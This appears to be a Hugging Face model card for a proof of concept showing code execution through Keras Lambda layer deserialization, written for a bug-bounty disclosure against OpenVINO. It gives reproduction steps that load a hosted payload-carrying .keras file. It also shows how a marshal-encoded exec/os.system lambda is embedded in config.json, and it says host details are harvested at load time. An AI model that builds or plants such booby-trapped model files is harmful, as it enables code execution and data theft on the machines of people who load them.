Sanaullah1337/openvino-keras-lambda-rce-poc

⚠️ SECURITY RESEARCH — MODEL FORMAT VULNERABILITY PoC

This repository demonstrates Arbitrary Code Execution (ACE) via Keras Lambda layer deserialization in .keras model files.

DO NOT load this model outside a sandboxed environment.

Vulnerability Summary

Attribute	Value
CWE	CWE-502: Deserialization of Untrusted Data
Category	Model Format Vulnerability — Deserialization
Trigger	keras.models.load_model(file, safe_mode=False)
Execution	LOAD-TIME (immediate, during model building)
Format	.keras (Keras v3 ZIP-based native format)
Serialization	marshal + base64 (NOT pickle)
CVSS 3.1	AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — 7.8 HIGH

Verdict: NOT A FALSE POSITIVE

• ✅ Payload IS embedded in config.json as marshal bytecode
• ✅ Payload EXECUTES during load_model(safe_mode=False)
• ✅ Execution is LOAD-TIME, not just inference-time
• ✅ Model loads successfully and appears normal
• ✅ Exfiltrates: hostname, IP, username, UID, id, working directory

Reproduction

Method 1: Git Clone (requires git-lfs)

# Install git-lfs first: sudo apt install git-lfs && git lfs install
git lfs clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
cd openvino-keras-lambda-rce-poc
python3 poc_create_model.py

Method 2: Python Download (no git-lfs needed)

from huggingface_hub import hf_hub_download
import keras, numpy as np, os, json

# Download model (bypasses LFS)
path = hf_hub_download('Sanaullah1337/openvino-keras-lambda-rce-poc', 'poc_final.keras')

# Load → RCE triggers HERE during model building
keras.config.enable_unsafe_deserialization()
model = keras.models.load_model(path, safe_mode=False)

# Verify RCE
with open('/tmp/poc_host_info.txt') as f:
    print(json.load(f))

Method 3: Run the PoC script directly

pip install huggingface_hub keras tensorflow-cpu numpy
python3 poc_create_model.py

Technical Details

How the Payload is Embedded

The Lambda layer's Python function is serialized using Python's marshal module and stored as base64 in the model's config.json:

{
  "class_name": "Lambda",
  "config": {
    "function": {
      "class_name": "__lambda__",
      "config": {
        "code": "4wEAAAAAAAAAAAAAAAMAAAADAAAA...",
        "defaults": null,
        "closure": null
      }
    }
  }
}

Key Technical Requirement

The payload MUST be an inline string literal — closure variables are NOT serialized:

# ✅ CORRECT — inline string survives serialization
lambda x: exec("import os; os.system('id')") or x

# ❌ WRONG — closure variable stripped, payload lost
PAYLOAD = "import os; os.system('id')"
lambda x: exec(PAYLOAD) or x

OpenVINO Relevance

OpenVINO users must load Keras models before conversion:

HuggingFace → keras.models.load_model() → RCE → ov.convert_model()
                    ↑
              Payload executes HERE
         Before OpenVINO even touches the model

Affected Components

• Keras 3.x (.keras format)
• Keras 2.x (.h5 / HDF5 format)
• OpenVINO Model Conversion Pipeline
• optimum-intel library
• Any workflow that loads Keras models with safe_mode=False

Mitigation

1. Never load untrusted models with safe_mode=False
2. Inspect config.json for Lambda layers before loading
3. Keras 3's safe_mode=True (default) blocks this — keep it enabled
4. Use sandboxed environments for model evaluation

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This repository is for responsible disclosure via the Huntr Bug Bounty Program. Target: OpenVINO — Intel | Format: .keras